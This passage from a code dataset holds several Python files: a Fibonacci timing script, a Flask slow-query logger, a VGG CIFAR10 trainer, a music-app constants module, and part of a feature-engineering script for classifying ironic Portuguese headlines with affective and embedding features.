timed(f, *args, n_iter=100):\n acc = float(\"inf\")\n for _ in range(n_iter):\n t0 = time.perf_counter()\n f(*args)\n t1 = time.perf_counter()\n acc = min(acc, t1 - t0)\n return acc\n\n\ndef compare(fs, args):\n for f in fs:\n plt.plot(args, [timed(f, arg) for arg in args], label=f.__name__)\n plt.legend()\n plt.grid(True)\n plt.show()\n\ncompare([fib_naive0, fib_iter], list(range(20)))\n","sub_path":"intro/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"286012447","text":"from flask import Flask,request,jsonify\nfrom ext import db\nfrom users import User\nimport logging\nfrom logging.handlers import RotatingFileHandler\nfrom flask_sqlalchemy import get_debug_queries\napp=Flask(__name__)\napp.config.from_object('config')\ndb.init_app(app)\n\nformatter=logging.Formatter(\n \"[%(asctime)s]{%(pathname)s:%(lineno)d} %(levelname)s-%(message)s\"\n)\nhandler=RotatingFileHandler('slow_query.log',maxBytes=10000,backupCount=10)\nhandler.setLevel(logging.WARN)\nhandler.setFormatter(formatter)\napp.logger.addHandler(handler)\nwith app.app_context():\n db.drop_all()\n db.create_all()\n\n@app.route('/users',methods=['GET'])\ndef users():\n username=request.form.get('name')\n print(username,\"22222222222222222222\")\n user=User(username)\n print('User id:{}'.format(user.id))\n\n db.session.add(user)\n db.session.commit()\n return jsonify({'id':user.id})\n@app.after_request\ndef after_request(response):\n for query in get_debug_queries():\n if query.duration>=app.config['DATABASE_QUERY_TIMEOUT']:\n app.logger.warn(\n ('Context:{}\\nSLOW QUERY:{}\\n Parameters:{}\\n'\n 'Duration: {}\\n'.format(query.context,query.statement,\n query.parameters,query.duration))\n )\n return response\nif __name__ == '__main__':\n app.run(port=9001)","sub_path":"chapter3/sql_alchemy/app_with_sqlalchmemy.py","file_name":"app_with_sqlalchmemy.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"206889953","text":"import numpy as np\nimport torch\nimport torch.functional as F\nfrom torch.autograd import Variable\nfrom torchvision.datasets import CIFAR10\nfrom torch import nn\n\n\ndef vgg_block(num_convs,in_channels,out_channels):\n net=[nn.Conv2d(in_channels,out_channels,kernel_size=3,padding=1),nn.ReLU(True)]\n for i in range(num_convs-1):\n net.append(nn.Conv2d(out_channels,out_channels,kernel_size=3,padding=1))\n net.append(nn.ReLU(True))\n net.append(nn.MaxPool2d(2,2))\n return nn.Sequential(*net)\n\nblock_demo=vgg_block(3,64,128)\n# print(block_demo)\ninput_demo = Variable(torch.zeros(1,64,300,300))\noutput_demo = block_demo(input_demo)\n# print(output_demo.shape)\n\ndef vgg_stack(num_convs, channels):\n net=[]\n for n,c in zip(num_convs,channels):\n in_c=c[0]\n out_c=c[1]\n net.append(vgg_block(n,in_c,out_c))\n return nn.Sequential(*net)\n\nvgg_net =vgg_stack((1,1,2,2,2),((3,64),(64,128), (128, 256), (256, 512), (512, 512)))\n\nclass vgg(nn.Module):\n def __init__(self):\n super(vgg,self).__init__()\n self.feature=vgg_net\n self.fc=nn.Sequential(\n nn.Linear(512, 100),\n nn.ReLU(True),\n nn.Linear(100, 10)\n )\n def forward(self, x):\n x = self.feature(x)\n x = x.view(x.shape[0], -1) # 拉平\n x = self.fc(x)\n return x\n\n\n\n\nfrom torch.utils.data import DataLoader\n\n\ndef data_tf(x):\n x = np.array(x, dtype='float32') / 255\n x = (x - 0.5) / 0.5 # 标准化,这个技巧之后会讲到\n x = x.transpose((2, 0, 1)) # 将 channel 放到第一维,只是 pytorch 要求的输入方式\n x = torch.Tensor(x)\n return x\n\n\ntrain_set = CIFAR10('./data', train=True, transform=data_tf,download=True)\ntrain_data = DataLoader(train_set, batch_size=4, shuffle=True)\ntest_set = CIFAR10('./data', train=False, transform=data_tf,download=True)\ntest_data = DataLoader(test_set, batch_size=128, shuffle=False)\n\nnet = vgg()\noptimizer = torch.optim.SGD(net.parameters(), lr=1e-1)\ncriterion = nn.CrossEntropyLoss()\n\n\nfrom torch.utils.trainer import Trainer\nfrom torch.utils.trainer.plugins import AccuracyMonitor, Logger\n\nT = Trainer(model=net, optimizer=optimizer, criterion=criterion, dataset=train_data)\nm = AccuracyMonitor()\nl = Logger([m.stat_name, 'accuracy.last'])\nT.register_plugin(m)\nT.register_plugin(l)\nT.run(epochs=2)\nprint(T.stats)\n","sub_path":"CNN/VGG.py","file_name":"VGG.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"335475070","text":"\nimport pathlib\nimport json\n#time converstion constants\nSECONDS_IN_MINUTE = 60\nMINUTES_IN_HOUR = 60\nMILLISECONDS_IN_SECOND = 1000\n\n#this sets up some directory constants\nROOT = pathlib.Path().absolute()\nMUSIC_FOLDER_NAME = \"music_files\"\nMUSIC_STORAGE_JSON_PATH = ROOT / \"music_storage.json\"\nMUSIC_FOLDER_PATH = ROOT / MUSIC_FOLDER_NAME\nTEMP_FOLDER_PATH = ROOT / \"temp\"\n#check to see if the music folder exists if not, then create it\nif(not MUSIC_FOLDER_PATH.exists()):\n MUSIC_FOLDER_PATH.mkdir()\n#check to see if the music_storage.json file exists, if not, then create it\nif(not MUSIC_STORAGE_JSON_PATH.exists()):\n json_storage = {}\n json_storage['songs'] = []\n json_storage['playLists'] = []\n json_storage['numberOfSongs'] = 0\n with open(MUSIC_STORAGE_JSON_PATH, 'w') as data_file:\n json.dump(json_storage, data_file, indent=4)","sub_path":"cow_music/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"382761101","text":"# -*- coding: utf-8 -*-\n#from ipdb import set_trace\nimport os\nimport numpy as np\nimport csv\nimport keras\nimport sklearn\nimport random\nimport sys\nimport miniball\nfrom keras.preprocessing.text import Tokenizer\nfrom sklearn.svm import LinearSVC\nfrom sklearn import linear_model\nfrom sklearn.grid_search import GridSearchCV\nfrom gensim.models.word2vec import Word2Vec\nimport codecs\nfrom sklearn.cross_validation import KFold\nimport pickle\nimport nltk\nimport itertools\nfrom scipy.spatial.distance import cosine\nfrom scipy.spatial.distance import euclidean\n#import matplotlib.pyplot as plt\n\ndef kfolds(n_folds,n_elements,val_set=False,shuffle=False): \n if val_set:\n assert n_folds>2\n\n X = np.arange(n_elements)\n if shuffle: random.shuffle(X) \n X = X.tolist()\n slice_size = n_elements // n_folds\n slices = [X[j*slice_size:(j+1)*slice_size] for j in range(n_folds)]\n #append the remaining elements to the last slice\n slices[-1] += X[n_folds*slice_size:]\n kf = []\n for i in range(len(slices)):\n train = slices[:] \n test = train.pop(i)\n if val_set:\n try:\n val = train.pop(i)\n except IndexError:\n val = train.pop(-1) \n #flatten the list of lists\n train = [item for sublist in train for item in sublist]\n kf.append([train,test,val])\n else:\n\n train = [item for sublist in train for item in sublist]\n kf.append([train,test])\n return kf\n\ndef biggest(ns,s,n):\n ''' determinar o maior de 3 valores: ns - num anotadores 'não sei', s - num anotadores 'sim', n - num anotadores 'não'\n '''\n Max = ns\n out = 'Não Sei'\n if s > Max:\n Max = s\n out = 'Sim' \n if n > Max:\n Max = n\n out = 'Não'\n if s > n:\n Max = s\n out = 'Sim'\n return out\n\ndef pmi(a, b, co_occurs):\n #This is overcounting the occurrences because if A co-occurs with B, then B also co-occurs with A \n # set_trace()\n total_occurs = sum([x['total_occurences'] for x in co_occurs.values() if x is not None])\n \n try:\n #P(a)\n p_a = co_occurs[a][\"total_occurences\"]*1.0 / total_occurs\n #P(b)\n p_b = co_occurs[b][\"total_occurences\"]*1.0 / total_occurs\n #Note: the co-occurrence data is indexed by the token found on text\n #whereas the co-occurence data in verbetes is indexed by official_name \n b_official_name = co_occurs[b][\"official_name\"]\n #P(a,b)\n p_a_b = co_occurs[a][\"verbetes\"][b_official_name]*1.0 / total_occurs\n except:\n print('EXCEPT ' +a + ' ' + b + ' no cooccurences ')\n return -1\n #PMI\n if p_a_b ==0:\n return -1\n \n if p_a == 0:\n return -1\n if p_b == 0:\n return -1\n \n pmi = np.log(p_a_b/(p_a*p_b))\n #Normalized PMI\n npmi = pmi/-np.log(p_a_b)\n \n #print a + ',' + b + '\\t' + str(npmi)\n return npmi\n\ndef getEntities(sent_dict, text):\n entities_per_title = [s['entities'] for s in sent_dict.values()]\n for ents in entities_per_title:\n i = 0\n for e in ents:\n if e in text:\n i+=1\n if i>0 and len(ents) > 0 and i == len(ents):\n return ents\n return []\n\nALLOWED_CHARS=[' ','-','/']\nEMBEDDINGS_PATH = \"DATA/embedding_features.pkl\"\ndef clean_word(word):\n return ''.join([c for c in word if (c in ALLOWED_CHARS or c.isalpha())]) \n\ndef pairwise_distances(title, wrd2idx, stop_words, distance=\"cosine\"): \n \"\"\"\n Compute the pairwise distances of words in literal titles\n \"\"\"\n #remove special chars\n clean_title = clean_word(title) \n #remove stop words \n clean_title = [w.strip() for w in clean_title.split() if w not in stop_words] \n #compute pairwise distances\n word_pairs = list(itertools.combinations(clean_title,2)) \n distances = []\n avg = 0\n std_dev = 0\n min_p = 0\n max_p = 0\n dif = 0\n for p in word_pairs:\n w1, w2 = p \n #if the words exist in the vocabulary\n if w1 in wrd2idx and w2 in wrd2idx: \n w1_emb = E[:,wrd2idx[w1]]\n w2_emb = E[:,wrd2idx[w2]] \n #distance to the zero vector is not defined \n if np.all(w1_emb==0) or np.all(w2_emb==0):\n continue\n else: \n if distance==\"cosine\":\n d = cosine(w1_emb,w2_emb) \n elif distance==\"euclid\":\n d = euclidean(w1_emb,w2_emb)\n else: \n raise NotImplementedError\n distances.append(d)\n if len(distances) > 0: \n avg = np.mean(distances)\n std_dev = np.std(distances)\n min_p = np.min(distances)\n max_p = np.max(distances)\n dif = max_p - min_p\n return avg, std_dev, min_p, max_p, dif\n\n# def visualize_coefficients(classifier, feature_names, fname, n_top_features=25):\n# # get coefficients with large absolute values \n# coef = classifier.coef_.ravel()\n# positive_coefficients = np.argsort(coef)[-n_top_features:]\n# negative_coefficients = np.argsort(coef)[:n_top_features]\n# interesting_coefficients = np.hstack([negative_coefficients, positive_coefficients])\n# # plot them\n# plt.figure(figsize=(15, 5))\n# colors = [\"red\" if c < 0 else \"blue\" for c in coef[interesting_coefficients]]\n# plt.bar(np.arange(2 * n_top_features), coef[interesting_coefficients], color=colors)\n# #feature_names = np.array(feature_names)\n# plt.subplots_adjust(bottom=0.3)\n# # plt.xticks(np.arange(1, 1 + 2 * n_top_features), feature_names[interesting_coefficients], rotation=60, ha=\"right\")\n# \n# plt.savefig(fname+'.png')\n# plt.clf()\n# plt.close()\n\ndef classify(sets, message, classifier = 'svm', extra = [], coef_flag=False, num_feat=0):\n c_range = [0.0001, 0.001, 0.01, 0.1, 1.0, 10, 100, 1000]\n \n if classifier == 'svm':\n method = \"Linear SVM\"\n elif classifier == 'regr':\n method = \"Logistic Regression\"\n \n log.write(\"\\nMethod = \" + method + \" \" + message + \"\\n\")\n acc = []\n pre = []\n rec = []\n f1s = []\n coef = []\n for set in sets:\n train_set = set[0]\n validation_set = set[2]\n test_set = set[1]\n \n ninety = train_set + validation_set\n \n #tokenizer = Tokenizer(nb_words=None, filters=keras.preprocessing.text.base_filter(), lower=True, split=\" \")\n tokenizer = Tokenizer(nb_words=None, lower=True, split=\" \")\n tokenizer.fit_on_texts(np.array(train_texts)[train_set]) \n train_matrix_fold = tokenizer.texts_to_matrix( np.array(train_texts)[train_set])\n train_labels_fold = train_labels[train_set]\n val_matrix_fold = tokenizer.texts_to_matrix( np.array(train_texts)[validation_set])\n val_labels_fold = train_labels[validation_set]\n #ninety_matrix_fold = tokenizer.texts_to_matrix( np.array(train_texts)[ninety])\n #ninety_labels_fold = train_labels[ninety]\n test_matrix_fold = tokenizer.texts_to_matrix( np.array(train_texts)[test_set])\n test_labels = train_labels[test_set]\n \n if len(extra) > 1:\n train_matrix_fold = np.hstack( (train_matrix_fold,extra[train_set]) )\n val_matrix_fold = np.hstack((val_matrix_fold, extra[validation_set]))\n test_matrix_fold = np.hstack((test_matrix_fold, extra[test_set]))\n\n best_c = 1.0\n best_f1 = 0.0\n for c in c_range:\n if classifier == 'svm':\n model = LinearSVC( random_state=0, C = c)\n elif classifier == 'regr':\n model = linear_model.LogisticRegression(C = c)\n model.fit( train_matrix_fold, train_labels_fold )\n results = model.predict(val_matrix_fold)\n f1 = sklearn.metrics.f1_score( val_labels_fold, results )\n if f1 > best_f1:\n best_c = c\n best_f1 = f1\n log.write('BEST C ' + str(best_c)+'\\tBEST F1 ' + str(best_f1)+'\\n') \n \n if classifier == 'svm':\n model = LinearSVC( random_state=0, C = best_c)\n elif classifier == 'regr':\n model = linear_model.LogisticRegression(C = best_c)\n #model.fit( ninety_matrix_fold , ninety_labels_fold )\n model.fit( train_matrix_fold , train_labels_fold ) \n results = model.predict(test_matrix_fold)\n acc.append(sklearn.metrics.accuracy_score( test_labels , results ))\n pre.append(sklearn.metrics.precision_score( test_labels, results ))\n rec.append(sklearn.metrics.recall_score( test_labels, results ))\n f1s.append(sklearn.metrics.f1_score( test_labels, results )) \n coef.append(model.coef_[0][-num_feat:])\n if coef_flag and num_feat > 0:\n log.write(\"Overall Feature Coef:\\n\"+str(coef)+'\\n\\n')\n #visualize_coefficients(model, None , classifier + ' ' + message, n_top_features=10)\n log.write(\"Overall avg accuracy: %.2f\\n\" % np.mean(acc))\n log.write(\"Overall results \" + str(np.mean(pre))+'\\t'+str(np.mean(rec))+'\\t'+str(np.mean(f1s))+'\\n')\n\ntry:\n log = codecs.open(\"_log_feature_eng_imparity.txt\",\"w\",\"utf-8\")\n # log = sys.stdout\n \n log.write(\"Reading pre-trained word embeddings...\\n\")\n embeddings_dim = 800\n embeddings = dict( )\n embeddings = Word2Vec.load_word2vec_format( \"DATA/publico_800.txt\" , binary=False )\n \n log.write(\"Reading affective dictionary and training regression model for predicting valence, arousal and dominance...\\n\")\n affective = dict( )\n for row in csv.DictReader(open(\"Irony Text Classification/Ratings_Warriner_et_al_translated.csv\")): affective[ row[\"Word\"].lower() ] = np.array( [ float( row[\"V.Mean.Sum\"] ) , float( row[\"A.Mean.Sum\"] ) , float( row[\"D.Mean.Sum\"] ) ] )\n #for row in csv.DictReader(open(\"Irony Text Classification/13428_2011_131_MOESM1_ESM.csv\")): affective[ row[\"EP-Word\"].lower() ] = np.array( [ float( row[\"Val-M\"] ) , float( row[\"Arou-M\"] ) , float( row[\"Dom-M\"] ) ] )\n train_matrix = [ ]\n train_labels = [ ]\n for word,scores in affective.items():\n try: \n train_matrix.append( embeddings[word] )\n train_labels.append( scores )\n except: continue\n # remove line below (in order to debug the code faster, I'm limiting the number of words that are used in the regression models... remove when performing tests)\n #if len( train_matrix ) > 500 : break\n train_matrix = np.array( train_matrix )\n train_labels = np.array( train_labels )\n\n log.write(\"Reading text data for classification and building representations...\\n\")\n # increase the number of features to 25000 (this corresponds to the number of words in the vocabulary... increase while you have enough memory, and its now set to 20 in order to debug the code faster)\n #max_features = 25000\n max_features = 25000\n maxlen = 50\n lbl_size = 0\n data = []\n \n num_imparity = 1133\n imp = 0\n n_imp = 0\n \n for row in csv.DictReader(open('DATA/data_all.csv', 'rU') , delimiter = '\\t'):\n if int(row['num_de_anotadores_total']) > 0 and int(row['Imparidade']) > 0 and imp < num_imparity:\n data.append((row['texto'].lower(),1))\n imp+=1\n elif int(row['Imparidade']) == 0 and n_imp < num_imparity:\n data.append((row['texto'].lower(),0))\n n_imp+=1\n# if row['fonte'] == 'Público':\n# data.append((row['texto'].lower(),0))\n# elif row['fonte'] == 'Inimigo Público':\n# data.append((row['texto'].lower(),1))\n\n #data = data[0:500] \n #data = data[0:2000] \n random.shuffle(data)\n #train_size = int(len(data) * 0.8)\n train_texts = [ txt for ( txt, label ) in data[0:len(data)-1] ]\n# test_texts = [ txt for ( txt, label ) in data[train_size:-1] ]\n train_labels = [ label for ( txt , label ) in data[0:len(data)-1] ]\n# test_labels = [ label for ( txt , label ) in data[train_size:-1] ]\n\n# cc = {w:None for t in train_texts+test_texts for w in t.split()}\n cc = {w:None for t in train_texts for w in t.split()}\n max_features = len(cc.keys())\n # tokenizer = Tokenizer(nb_words=max_features, filters=keras.preprocessing.text.base_filter(), lower=True, split=\" \")\n tokenizer = Tokenizer(nb_words=max_features, lower=True, split=\" \")\n tokenizer.fit_on_texts(train_texts)\n train_matrix = tokenizer.texts_to_matrix( train_texts )\n# test_matrix = tokenizer.texts_to_matrix( test_texts )\n embedding_weights = np.zeros( ( max_features , embeddings_dim ) )\n affective_weights = np.zeros( ( max_features , 3 ) )\n for word,index in tokenizer.word_index.items():\n try: \n if not affective.has_key(word) : affective[word] = np.array( model.predict( np.array( embeddings[word] ).reshape(1, -1) )[0] )\n except: affective[word] = np.array( [ 5.0 , 5.0 , 5.0 ] )\n if index < max_features:\n try: \n embedding_weights[index,:] = embeddings[word]\n affective_weights[index,:] = affective[word]\n except: \n embedding_weights[index,:] = np.random.rand( 1 , embeddings_dim )\n affective_weights[index,:] = [ 5.0 , 5.0 , 5.0 ] \n log.write(\"Computing features based on semantic volume...\\n\")\n# train_features = np.zeros( ( train_matrix.shape[0] , 1 ) ) \n# test_features = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_semantic_vol = np.zeros( ( train_matrix.shape[0] , 1 ) )\n for i in range( train_features_semantic_vol.shape[0] ):\n aux = [ ]\n for word in train_texts[i].split(\" \"):\n try: aux.append( embeddings[word] )\n except: continue\n if len( aux ) > 0 : train_features_semantic_vol[i,0] = miniball.Miniball( np.array( aux ) ).squared_radius()\n# for i in range( test_features.shape[0] ):\n# aux = [ ] \n# for word in test_texts[i].split(\" \"): \n# try: aux.append( embeddings[word] )\n# except: continue \n# if len( aux ) > 0 : test_features[i,0] = miniball.Miniball( np.array( aux ) ).squared_radius()\n \n log.write(\"Computing features based on affective scores...\\n\")\n train_features_avg = np.zeros( ( train_matrix.shape[0] , 3 ) ) \n# test_features_avg = np.zeros( ( test_matrix.shape[0] , 3 ) )\n train_features_stdev = np.zeros( ( train_matrix.shape[0] , 3 ) )\n# test_features_stdev = np.zeros( ( test_matrix.shape[0] , 3 ) )\n train_features_min = np.zeros( ( train_matrix.shape[0] , 3 ) )\n# test_features_min = np.zeros( ( test_matrix.shape[0] , 3 ) )\n train_features_max = np.zeros( ( train_matrix.shape[0] , 3 ) )\n# test_features_max = np.zeros( ( test_matrix.shape[0] , 3 ) )\n train_features_dif = np.zeros( ( train_matrix.shape[0] , 3 ) )\n# test_features_dif = np.zeros( ( test_matrix.shape[0] , 3 ) )\n train_features_seq = np.zeros( ( train_matrix.shape[0] , 2 ) )\n# test_features_seq = np.zeros( ( test_matrix.shape[0] , 2 ) )\n for i in range( train_matrix.shape[0] ):\n aux = [ ]\n for word in train_texts[i].split(\" \"):\n try: aux.append( affective[word] )\n except: continue\n if len( aux ) > 0 : \n train_features_avg[i,0] = np.average( np.array( aux ) )\n train_features_stdev[i,0] = np.std( np.array( aux ) )\n train_features_min[i,0] = np.min( np.array( aux ) )\n train_features_max[i,0] = np.max( np.array( aux ) )\n train_features_dif[i,0] = np.max( np.array( aux ) ) - np.min( np.array( aux ) )\n# for i in range( test_matrix.shape[0] ):\n# aux = [ ]\n# for word in test_texts[i].split(\" \"):\n# try: aux.append( affective[word] )\n# except: continue\n# if len( aux ) > 0 : \n# test_features_avg[i,0] = np.average( np.array( aux ) )\n# test_features_stdev[i,0] = np.std( np.array( aux ) )\n# test_features_min[i,0] = np.min( np.array( aux ) ) \n# test_features_max[i,0] = np.max( np.array( aux ) )\n# test_features_dif[i,0] = np.max( np.array( aux ) ) - np.min( np.array( aux ) )\n for i in range( train_matrix.shape[0] ):\n train_features_seq[i] = [0,0]\n prev = -1\n for word in train_texts[i].split(\" \"):\n try: \n if( prev != -1 and ( ( prev < 5.0 and affective[word][0] > 5.0 ) or ( prev > 5.0 and affective[word][0] < 5.0 ) ) ): train_features_seq[i][0] += 1.0\n if( prev != -1 and abs( prev - affective[word][0] ) > 3.0 ): train_features_seq[i][1] += 1.0\n prev = affective[word][0]\n except: prev = -1\n# for i in range( test_matrix.shape[0] ):\n# test_features_seq[i] = [0,0]\n# prev = -1\n# for word in test_texts[i].split(\" \"):\n# try:\n# if( prev != -1 and ( ( prev < 5.0 and affective[word][0] > 5.0 ) or ( prev > 5.0 and affective[word][0] < 5.0 ) ) ): test_features_seq[i][0] += 1.0\n# if( prev != -1 and abs( prev - affective[word][0] ) > 3.0 ): test_features_seq[i][1] += 1.0 \n# prev = affective[word][0]\n# except: prev = -1\n \n log.write(\"Computing Sentilex features...\\n\")\n # total number of potentially positive words, negative words and dif.\n with open('DATA/sentilex.pkl',\"rb\") as sentilex:\n sent_dict = pickle.load(sentilex)\n train_features_pos = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_neg = np.zeros( ( train_matrix.shape[0] , 1 ) )\n #train_features_sent_dif = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pos = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_neg = np.zeros( ( test_matrix.shape[0] , 1 ) )\n #test_features_sent_dif = np.zeros( ( test_matrix.shape[0] , 1 ) )\n for i in range( train_matrix.shape[0] ):\n neg = 0\n pos = 0\n w = 0\n for word in train_texts[i].split(\" \"):\n w+=1\n if word in sent_dict.keys():\n if sent_dict[word]=='NEG':\n neg+=1\n if sent_dict[word]=='POS':\n pos+=1\n train_features_pos[i,0] = pos / w\n train_features_neg[i,0] = neg / w\n# for i in range( test_matrix.shape[0] ):\n# neg = 0\n# pos = 0\n# w = 0\n# for word in test_texts[i].split(\" \"):\n# w+=1\n# if word in sent_dict.keys():\n# if sent_dict[word]=='NEG':\n# neg+=1\n# if sent_dict[word]=='POS':\n# pos+=1\n# test_features_pos[i,0] = pos / w\n# test_features_neg[i,0] = neg / w\n \n #janelas de tamanho variavel\n # contraste de valence (0 a 9)\n log.write(\"Computing Arousal Contrast Sliding Window features ...\\n\")\n val_dif = 3.5\n train_features_ac_w1 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_ac_w2 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_ac_w3 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_ac_w4 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_ac_w5 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n for i in range( train_matrix.shape[0] ):\n arousals = []\n for word in train_texts[i].split(\" \"):\n if word in affective:\n arousals.append(affective[word][1]) #arousal is index 1\n else:\n arousals.append(0)\n for x in [arousals[i:i+2] for i in range(len(arousals)-1)]: \n if x[0] > 0 and x[1] > 0 and abs(x[0]-x[1]) > val_dif:\n train_features_ac_w1[i,0] +=1\n for x in [arousals[i:i+3] for i in range(len(arousals)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_ac_w2[i,0] +=1 /len(x)\n for x in [arousals[i:i+4] for i in range(len(arousals)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_ac_w3[i,0] +=1 / len(x)\n for x in [arousals[i:i+5] for i in range(len(arousals)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_ac_w4[i,0] +=1 / len(x)\n for x in [arousals[i:i+6] for i in range(len(arousals)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_ac_w5[i,0] +=1 / len(x)\n# test_features_ac_w1 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_ac_w2 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_ac_w3 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_ac_w4 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_ac_w5 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# for i in range( test_matrix.shape[0] ):\n# arousals = []\n# for word in test_texts[i].split(\" \"):\n# if word in affective:\n# arousals.append(affective[word][1]) #arousal is index 1\n# else:\n# arousals.append(0)\n# for x in [arousals[i:i+2] for i in range(len(arousals)-1)]: \n# if x[0] > 0 and x[1] > 0 and abs(x[0]-x[1]) > val_dif:\n# test_features_ac_w1[i,0] +=1\n# for x in [arousals[i:i+3] for i in range(len(arousals)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_ac_w2[i,0] +=1 /len(x)\n# for x in [arousals[i:i+4] for i in range(len(arousals)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_ac_w3[i,0] +=1 / len(x)\n# for x in [arousals[i:i+5] for i in range(len(arousals)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_ac_w4[i,0] +=1 / len(x)\n# for x in [arousals[i:i+6] for i in range(len(arousals)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_ac_w5[i,0] +=1 / len(x)\n \n #janelas de tamanho variavel\n # contraste de valence (0 a 9)\n log.write(\"Computing Valence Contrast Sliding Window features ...\\n\")\n val_dif = 3.5\n train_features_vc_w1 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_vc_w2 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_vc_w3 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_vc_w4 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_vc_w5 = np.zeros( ( train_matrix.shape[0] , 1 ) )\n for i in range( train_matrix.shape[0] ):\n valences = []\n for word in train_texts[i].split(\" \"):\n if word in affective:\n valences.append(affective[word][0]) #valence is index 0\n else:\n valences.append(0)\n for x in [valences[i:i+2] for i in range(len(valences)-1)]: \n if x[0] > 0 and x[1] > 0 and abs(x[0]-x[1]) > val_dif:\n train_features_vc_w1[i,0] +=1\n for x in [valences[i:i+3] for i in range(len(valences)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_vc_w2[i,0] +=1 /len(x)\n for x in [valences[i:i+4] for i in range(len(valences)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_vc_w3[i,0] +=1 / len(x)\n for x in [valences[i:i+5] for i in range(len(valences)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_vc_w4[i,0] +=1 / len(x)\n for x in [valences[i:i+6] for i in range(len(valences)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_vc_w5[i,0] +=1 / len(x)\n \n# test_features_vc_w1 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_vc_w2 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_vc_w3 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_vc_w4 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_vc_w5 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# for i in range( test_matrix.shape[0] ):\n# valences = []\n# for word in test_texts[i].split(\" \"):\n# if word in affective:\n# valences.append(affective[word][0])\n# else:\n# valences.append(0)\n# for x in [valences[i:i+2] for i in range(len(valences)-1)]: \n# if x[0] > 0 and x[1] > 0 and abs(x[0]-x[1]) > val_dif:\n# test_features_vc_w1[i,0] +=1\n# for x in [valences[i:i+3] for i in range(len(valences)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_vc_w2[i,0] +=1 /len(x)\n# for x in [valences[i:i+4] for i in range(len(valences)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_vc_w3[i,0] +=1 / len(x)\n# for x in [valences[i:i+5] for i in range(len(valences)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_vc_w4[i,0] +=1 / len(x)\n# for x in [valences[i:i+6] for i in range(len(valences)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_vc_w5[i,0] +=1 / len(x)\n \n log.write(\"Computing Part-of-Speech Tagger...\\n\")\n with open('Models/tagger.pkl',\"rb\") as tagger:\n train_features_adj = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_noun = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_verb = np.zeros( 